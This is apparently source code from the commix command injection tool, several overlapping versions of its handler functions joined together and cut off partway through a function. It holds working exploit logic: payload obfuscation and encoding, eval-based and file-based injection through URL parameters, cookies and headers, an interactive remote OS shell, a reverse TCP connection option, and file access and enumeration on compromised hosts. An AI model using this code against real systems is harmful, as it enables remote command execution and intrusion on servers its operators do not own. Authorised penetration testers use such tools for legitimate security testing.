def perform_payload_modification(payload): for encode_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): # Add single quotes. if encode_type == 'singlequotes': from src.core.tamper import singlequotes payload = singlequotes.transform(payload) # Add caret symbol. elif encode_type == 'backslashes': from src.core.tamper import backslashes payload = backslashes.transform(payload) # Add caret symbol. elif encode_type == 'caret': from src.core.tamper import caret payload = caret.transform(payload) # Transfomation to nested command elif encode_type == 'nested': from src.core.tamper import nested payload = nested.transform(payload) for encode_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): # Encode payload to hex format. if encode_type == 'base64encode': from src.core.tamper import base64encode payload = base64encode.encode(payload) # Encode payload to hex format. if encode_type == 'hexencode': from src.core.tamper import hexencode payload = hexencode.encode(payload) return payload
def perform_payload_encoding(payload): for encode_type in settings.MULTI_ENCODED_PAYLOAD[::-1]: # Encode payload to hex format. if encode_type == 'base64encode': from src.core.tamper import base64encode payload = base64encode.encode(payload) # Encode payload to hex format. if encode_type == 'hexencode': from src.core.tamper import hexencode payload = hexencode.encode(payload) return payload
def perform_payload_modification(payload): for encode_type in settings.MULTI_ENCODED_PAYLOAD[::-1]: # Add single quotes. if encode_type == 'singlequotes': from src.core.tamper import singlequotes payload = singlequotes.transform(payload) for encode_type in settings.MULTI_ENCODED_PAYLOAD[::-1]: # Encode payload to hex format. if encode_type == 'base64encode': from src.core.tamper import base64encode payload = base64encode.encode(payload) # Encode payload to hex format. if encode_type == 'hexencode': from src.core.tamper import hexencode payload = hexencode.encode(payload) return payload
def eb_injection_handler(url, delay, filename, http_request_method): counter = 1 vp_flag = True no_result = True export_injection_info = False injection_type = "Results-based Command Injection" technique = "eval-based code injection technique" for item in range(0, len(settings.EXECUTION_FUNCTIONS)): settings.EXECUTION_FUNCTIONS[item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "(" settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS url = eb_injector.warning_detection(url, http_request_method) if not settings.LOAD_SESSION: info_msg = "Testing the " + technique + "... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() i = 0 # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.EVAL_PREFIXES) * len(settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES) for whitespace in settings.WHITESPACE: for prefix in settings.EVAL_PREFIXES: for suffix in settings.EVAL_SUFFIXES: for separator in settings.EVAL_SEPARATORS: # If a previous session is available. if settings.LOAD_SESSION and session_handler.notification(url, technique): url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) checks.check_for_stored_tamper(payload) if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, delay, filename, http_request_method) if not settings.LOAD_SESSION: i = i + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Change TAG on every request to prevent false-positive results. TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) randv1 = random.randrange(100) randv2 = random.randrange(100) randvcalc = randv1 + randv2 # Define alter shell alter_shell = menu.options.alter_shell try: if alter_shell: # Classic -alter shell- decision payload (check if host is vulnerable). payload = eb_payloads.decision_alter_shell(separator, TAG, randv1, randv2) else: # Classic decision payload (check if host is vulnerable). payload = eb_payloads.decision(separator, TAG, randv1, randv2) suffix = urllib.quote(suffix) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Fixation for specific payload. if ")%3B" + urllib.quote(")}") in payload: payload = payload.replace(")%3B" + urllib.quote(")}"), ")" + urllib.quote(")}")) payload = payload + TAG + "" # Whitespace fixation payload = re.sub(" ", whitespace, payload) if settings.TAMPER_SCRIPTS['base64encode']: from src.core.tamper import base64encode payload = base64encode.encode(payload) else: payload = re.sub(" ", "%20", payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL >= 1: sys.stdout.write("\n" + settings.print_payload(payload)) # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie injection. vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) response = eb_injector.cookie_injection_test(url, vuln_parameter, payload) # User-Agent Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent injection. vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) response = eb_injector.user_agent_injection_test(url, vuln_parameter, payload) # Referer Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer injection. vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) response = eb_injector.referer_injection_test(url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) response = eb_injector.custom_header_injection_test(url, vuln_parameter, payload) else: found_cookie_injection = False # Check if target host is vulnerable. response, vuln_parameter = eb_injector.injection_test(payload, http_request_method, url) # if need page reload if menu.options.url_reload: time.sleep(delay) response = urllib.urlopen(url) # Evaluate test results. shell = eb_injector.injection_test_results(response, TAG, randvcalc) if not settings.VERBOSITY_LEVEL >= 1: percent = ((i*100)/total) float_percent = "{0:.1f}".format(round(((i*100)/(total * 1.0)),2)) if shell == False: info_msg = "Testing the " + technique + "... " + "[ " + float_percent + "%" + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if str(float_percent) == "100.0": if no_result == True: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = str(float_percent)+ "%" elif len(shell) != 0: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL else: percent = str(float_percent)+ "%" info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: raise except SystemExit: raise except: continue # Yaw, got shellz! # Do some magic tricks! if shell: found = True no_result = False if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0 : found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: print "" # Print the findings to terminal. success_msg = "The (" + http_request_method + ")" success_msg += found_vuln_parameter + header_name success_msg += the_type + " is vulnerable to " + injection_type + "." print settings.print_success_msg(success_msg) print " (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + "" print " (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + "" print " (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub("%20", " ", payload) + Style.RESET_ALL # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, delay=0, how_long=0, output_length=0, is_vulnerable="True") else: whitespace = settings.WHITESPACE[0] settings.LOAD_SESSION = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True : while True: question_msg = "Do you want to enumerate again? [Y/n/q] > " enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower() if enumerate_again in settings.CHOICE_YES: eb_enumeration.do_check(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename) print "" break elif enumerate_again in settings.CHOICE_NO: break elif enumerate_again in settings.CHOICE_QUIT: sys.exit(0) else: if enumerate_again == "": enumerate_again = "enter" err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) + "\n" pass else: if menu.enumeration_options(): eb_enumeration.do_check(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename) if not menu.file_access_options() and not menu.options.os_cmd: print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True : if settings.ENUMERATION_DONE != True: print "" while True: question_msg = "Do you want to access files again? [Y/n/q] > " file_access_again = raw_input(settings.print_question_msg(question_msg)).lower() if file_access_again in settings.CHOICE_YES: eb_file_access.do_check(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename) print "" break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: sys.exit(0) else: if file_access_again == "": file_access_again = "enter" err_msg = "'" + file_access_again + "' is not a valid answer." print settings.print_error_msg(err_msg) + "\n" pass else: if menu.file_access_options(): if not menu.enumeration_options(): print "" eb_file_access.do_check(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename) print "" # Check if defined single cmd. if menu.options.os_cmd: if not menu.file_access_options(): print "" eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename) # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break question_msg = "Do you want a Pseudo-Terminal? [Y/n/q] > " gotshell = raw_input(settings.print_question_msg(question_msg)).lower() if gotshell in settings.CHOICE_YES: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: try: # Tab compliter if not readline_error: readline.set_completer(menu.tab_completer) # MacOSX tab compliter if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''): readline.parse_and_bind("bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind("tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) if os_shell_option == False: if no_result == True: return False else: return True elif os_shell_option == "quit": sys.exit(0) elif os_shell_option == "back": go_back = True break elif os_shell_option == "os_shell": warn_msg = "You are already into an 'os_shell' mode." print settings.print_warning_msg(warn_msg)+ "\n" elif os_shell_option == "reverse_tcp": settings.REVERSE_TCP = True # Set up LHOST / LPORT for The reverse TCP connection. reverse_tcp.configure_reverse_tcp() if settings.REVERSE_TCP == False: continue while True: if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS: result = checks.check_reverse_tcp_options(settings.LHOST) else: cmd = reverse_tcp.reverse_tcp_options() result = checks.check_reverse_tcp_options(cmd) if result != None: if result == 0: return False elif result == 1 or result == 2: go_back_again = True settings.REVERSE_TCP = False break # Command execution results. response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Evaluate injection results. shell = eb_injector.injection_results(response, TAG, cmd) if settings.VERBOSITY_LEVEL >= 1: print "" err_msg = "The reverse TCP connection has been failed!" print settings.print_critical_msg(err_msg) else: pass else: # The main command injection exploitation. response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # if need page reload if menu.options.url_reload: time.sleep(delay) response = urllib.urlopen(url) if menu.options.ignore_session or\ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. shell = eb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell).replace(" ", "", 1) if not menu.options.ignore_session : session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) #if shell: if shell != "": shell = "".join(str(p) for p in shell) print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n" else: err_msg = "The '" + cmd + "' command, does not return any output." print "\n" + settings.print_error_msg(err_msg) + "\n" except KeyboardInterrupt: raise except SystemExit: raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: sys.exit(0) else: if gotshell == "": gotshell = "enter" err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) + "\n" pass if no_result == True: print "" return False else : sys.stdout.write("\r") sys.stdout.flush()
def eb_injection_handler(url, delay, filename, http_request_method): counter = 1 vp_flag = True no_result = True export_injection_info = False injection_type = "results-based command injection" technique = "eval-based code injection technique" for item in range(0, len(settings.EXECUTION_FUNCTIONS)): settings.EXECUTION_FUNCTIONS[ item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "(" settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS url = eb_injector.warning_detection(url, http_request_method) if not settings.LOAD_SESSION: info_msg = "Testing the " + technique + "... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() i = 0 # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.EVAL_PREFIXES) * len( settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES) for whitespace in settings.WHITESPACE: for prefix in settings.EVAL_PREFIXES: for suffix in settings.EVAL_SUFFIXES: for separator in settings.EVAL_SEPARATORS: # If a previous session is available. if settings.LOAD_SESSION and session_handler.notification( url, technique): url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) checks.check_for_stored_tamper(payload) if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, delay, filename, http_request_method) if not settings.LOAD_SESSION: i = i + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Change TAG on every request to prevent false-positive results. TAG = ''.join( random.choice(string.ascii_uppercase) for i in range(6)) randv1 = random.randrange(100) randv2 = random.randrange(100) randvcalc = randv1 + randv2 # Define alter shell alter_shell = menu.options.alter_shell try: if alter_shell: # Classic -alter shell- decision payload (check if host is vulnerable). payload = eb_payloads.decision_alter_shell( separator, TAG, randv1, randv2) else: # Classic decision payload (check if host is vulnerable). payload = eb_payloads.decision( separator, TAG, randv1, randv2) suffix = urllib.quote(suffix) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Fixation for specific payload. if ")%3B" + urllib.quote(")}") in payload: payload = payload.replace( ")%3B" + urllib.quote(")}"), ")" + urllib.quote(")}")) #payload = payload + TAG + "" # Whitespace fixation payload = re.sub(" ", whitespace, payload) if settings.TAMPER_SCRIPTS['base64encode']: from src.core.tamper import base64encode payload = base64encode.encode(payload) else: payload = re.sub(" ", "%20", payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL >= 1: sys.stdout.write( "\n" + settings.print_payload(payload)) # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) response = eb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) response = eb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) response = eb_injector.referer_injection_test( url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) response = eb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: found_cookie_injection = False # Check if target host is vulnerable. response, vuln_parameter = eb_injector.injection_test( payload, http_request_method, url) # Try target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, delay) # Evaluate test results. shell = eb_injector.injection_test_results( response, TAG, randvcalc) if not settings.VERBOSITY_LEVEL >= 1: percent = ((i * 100) / total) float_percent = "{0:.1f}".format( round(((i * 100) / (total * 1.0)), 2)) if shell == False: info_msg = "Testing the " + technique + "... " + "[ " + float_percent + "%" + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if str(float_percent) == "100.0": if no_result == True: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = str(float_percent) + "%" elif len(shell) != 0: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL else: percent = str(float_percent) + "%" info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: raise except SystemExit: raise except: continue # Yaw, got shellz! # Do some magic tricks! if shell: found = True no_result = False if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: print "" # Print the findings to terminal. success_msg = "The" if found_vuln_parameter == " ": success_msg += http_request_method + "" success_msg += the_type + header_name success_msg += found_vuln_parameter + " seems injectable via " success_msg += "(" + injection_type.split( " ")[0] + ") " + technique + "." print settings.print_success_msg(success_msg) print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub( "%20", " ", payload) + Style.RESET_ALL # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation( url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, delay=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACE[0] settings.LOAD_SESSION = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True: while True: question_msg = "Do you want to enumerate again? [Y/n/q] > " enumerate_again = raw_input( "\n" + settings.print_question_msg(question_msg) ).lower() if enumerate_again in settings.CHOICE_YES: eb_enumeration.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, delay) print "" break elif enumerate_again in settings.CHOICE_NO: break elif enumerate_again in settings.CHOICE_QUIT: sys.exit(0) else: if enumerate_again == "": enumerate_again = "enter" err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.enumeration_options(): eb_enumeration.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, delay) if not menu.file_access_options( ) and not menu.options.os_cmd: print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: if settings.ENUMERATION_DONE != True: print "" while True: question_msg = "Do you want to access files again? [Y/n/q] > " sys.stdout.write( settings.print_question_msg(question_msg)) file_access_again = sys.stdin.readline( ).replace("\n", "").lower() if file_access_again in settings.CHOICE_YES: eb_file_access.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, delay) print "" break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: sys.exit(0) else: if file_access_again == "": file_access_again = "enter" err_msg = "'" + file_access_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.file_access_options(): if not menu.enumeration_options(): print "" eb_file_access.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, delay) print "" # Check if defined single cmd. if menu.options.os_cmd: if not menu.file_access_options(): print "" eb_enumeration.single_os_cmd_exec( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, delay) # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break question_msg = "Do you want a Pseudo-Terminal? [Y/n/q] > " sys.stdout.write( settings.print_question_msg(question_msg)) gotshell = sys.stdin.readline().replace( "\n", "").lower() if gotshell in settings.CHOICE_YES: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: try: # Tab compliter if not readline_error: readline.set_completer( menu.tab_completer) # MacOSX tab compliter if getattr( readline, '__doc__', '' ) is not None and 'libedit' in getattr( readline, '__doc__', ''): readline.parse_and_bind( "bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind( "tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) # if settings.VERBOSITY_LEVEL >= 1: # print "" if cmd.lower( ) in settings.SHELL_OPTIONS: os_shell_option = checks.check_os_shell_options( cmd.lower(), technique, go_back, no_result) if os_shell_option == False: if no_result == True: return False else: return True elif os_shell_option == "quit": sys.exit(0) elif os_shell_option == "back": go_back = True break elif os_shell_option == "os_shell": warn_msg = "You are already into an 'os_shell' mode." print settings.print_warning_msg( warn_msg) + "\n" elif os_shell_option == "reverse_tcp": settings.REVERSE_TCP = True # Set up LHOST / LPORT for The reverse TCP connection. reverse_tcp.configure_reverse_tcp( ) if settings.REVERSE_TCP == False: continue while True: if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS: result = checks.check_reverse_tcp_options( settings.LHOST) else: cmd = reverse_tcp.reverse_tcp_options( ) result = checks.check_reverse_tcp_options( cmd) if result != None: if result == 0: return False elif result == 1 or result == 2: go_back_again = True settings.REVERSE_TCP = False break # Command execution results. response = eb_injector.injection( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Evaluate injection results. shell = eb_injector.injection_results( response, TAG, cmd) if settings.VERBOSITY_LEVEL >= 1: print "" err_msg = "The reverse TCP connection has failed!" print settings.print_critical_msg( err_msg) else: pass else: # The main command injection exploitation. response = eb_injector.injection( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Try target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload( url, delay) if menu.options.ignore_session or\ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. shell = eb_injector.injection_results( response, TAG, cmd) shell = "".join( str(p) for p in shell).replace( " ", "", 1) if not menu.options.ignore_session: session_handler.store_cmd( url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd( url, cmd, vuln_parameter) #if shell: if shell != "": shell = "".join( str(p) for p in shell) # if settings.VERBOSITY_LEVEL >= 1: # print "" print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n" else: err_msg = "The '" + cmd + "' command, does not return any output." print settings.print_critical_msg( err_msg) + "\n" except KeyboardInterrupt: raise except SystemExit: raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: sys.exit(0) else: if gotshell == "": gotshell = "enter" err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) pass if no_result == True: print "" return False else: sys.stdout.write("\r") sys.stdout.flush()
def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): # Execute shell commands on vulnerable host. if alter_shell: payload = fb_payloads.cmd_execution_alter_shell( separator, cmd, OUTPUT_TEXTFILE) else: payload = fb_payloads.cmd_execution(separator, cmd, OUTPUT_TEXTFILE) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = re.sub(" ", whitespace, payload) if settings.TAMPER_SCRIPTS['base64encode']: from src.core.tamper import base64encode payload = base64encode.encode(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL >= 1: payload_msg = payload.replace("\n", "\\n") if settings.COMMENT in payload_msg: payload_msg = payload_msg.split(settings.COMMENT)[0] info_msg = "Executing the '" + cmd.split( settings.COMMENT)[0] + "' command " sys.stdout.write("\n" + settings.print_info_msg(info_msg)) sys.stdout.flush() sys.stdout.write( "\n" + settings.print_payload(payload).split(settings.COMMENT)[0] + "\n") # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: response = cookie_injection_test(url, vuln_parameter, payload) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: response = user_agent_injection_test(url, vuln_parameter, payload) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: response = referer_injection_test(url, vuln_parameter, payload) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: response = custom_header_injection_test(url, vuln_parameter, payload) else: # Check if defined method is GET (Default). if http_request_method == "GET": # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url) payload = payload.replace(" ", "%20") target = re.sub(settings.INJECT_TAG, payload, url) vuln_parameter = ''.join(vuln_parameter) request = urllib2.Request(target) # Check if defined extra headers. headers.do_check(request) # Get the response of the request response = requests.get_request_response(request) else: # Check if defined method is POST. parameter = menu.options.data parameter = urllib2.unquote(parameter) # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter) # Define the POST data if settings.IS_JSON == False: data = re.sub(settings.INJECT_TAG, payload, parameter) request = urllib2.Request(url, data) else: payload = payload.replace("\"", "\\\"") data = re.sub(settings.INJECT_TAG, urllib.unquote(payload), parameter) try: data = json.loads(data, strict=False) except: pass request = urllib2.Request(url, json.dumps(data)) # Check if defined extra headers. headers.do_check(request) # Get the response of the request response = requests.get_request_response(request) return response
def fb_injection_handler(url, delay, filename, http_request_method, url_time_response): counter = 1 vp_flag = True exit_loops = False no_result = True is_encoded = False stop_injection = False call_tmp_based = False next_attack_vector = False export_injection_info = False injection_type = "semi-blind command injection" technique = "file-based injection technique" # Set temp path if settings.TARGET_OS == "win": if "microsoft-iis" in settings.SERVER_BANNER.lower(): settings.TMP_PATH = "C:\\Windows\TEMP\\" else: settings.TMP_PATH = "%temp%\\" else: settings.TMP_PATH = "/tmp/" if menu.options.tmp_path: tmp_path = menu.options.tmp_path else: tmp_path = settings.TMP_PATH if settings.DEFAULT_SRV_ROOT_DIR != settings.SRV_ROOT_DIR: settings.SRV_ROOT_DIR = settings.DEFAULT_SRV_ROOT_DIR if menu.options.file_dest and '/tmp/' in menu.options.file_dest: call_tmp_based = True else: if menu.options.srv_root_dir: settings.SRV_ROOT_DIR = menu.options.srv_root_dir else: # Debian/Ubunt have been updated to use /var/www/html as default instead of /var/www. if "apache" in settings.SERVER_BANNER.lower(): if "debian" or "ubuntu" in settings.SERVER_BANNER.lower(): try: check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower()) if check_version[0] > "2.3" and not settings.TARGET_OS == "win": # Add "/html" to servers root directory settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html" else: settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR except IndexError: pass # Add "/html" to servers root directory elif "fedora" or "centos" in settings.SERVER_BANNER.lower(): settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html" else: pass # On more recent versions (>= "1.2.4") the default root path has changed to "/usr/share/nginx/html" elif "nginx" in settings.SERVER_BANNER.lower(): try: check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower()) if check_version[0] >= "1.2.4": # Add "/html" to servers root directory settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html" else: # Add "/www" to servers root directory settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/www" except IndexError: pass elif "microsoft-iis" in settings.SERVER_BANNER.lower(): pass else: # Provide custom server's root directory. custom_srv_root_dir() path = urlparse.urlparse(url).path path_parts = path.split('/') count = 0 for part in path_parts: count = count + 1 count = count - 1 last_param = path_parts[count] EXTRA_DIR = path.replace(last_param, "") settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + EXTRA_DIR if settings.TARGET_OS == "win": settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR.replace("/","\\") if not settings.LOAD_SESSION or settings.RETEST == True: info_msg = "Trying to create a file in '" + settings.SRV_ROOT_DIR + "'... " print settings.print_info_msg(info_msg) i = 0 TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) # Check if defined alter shell 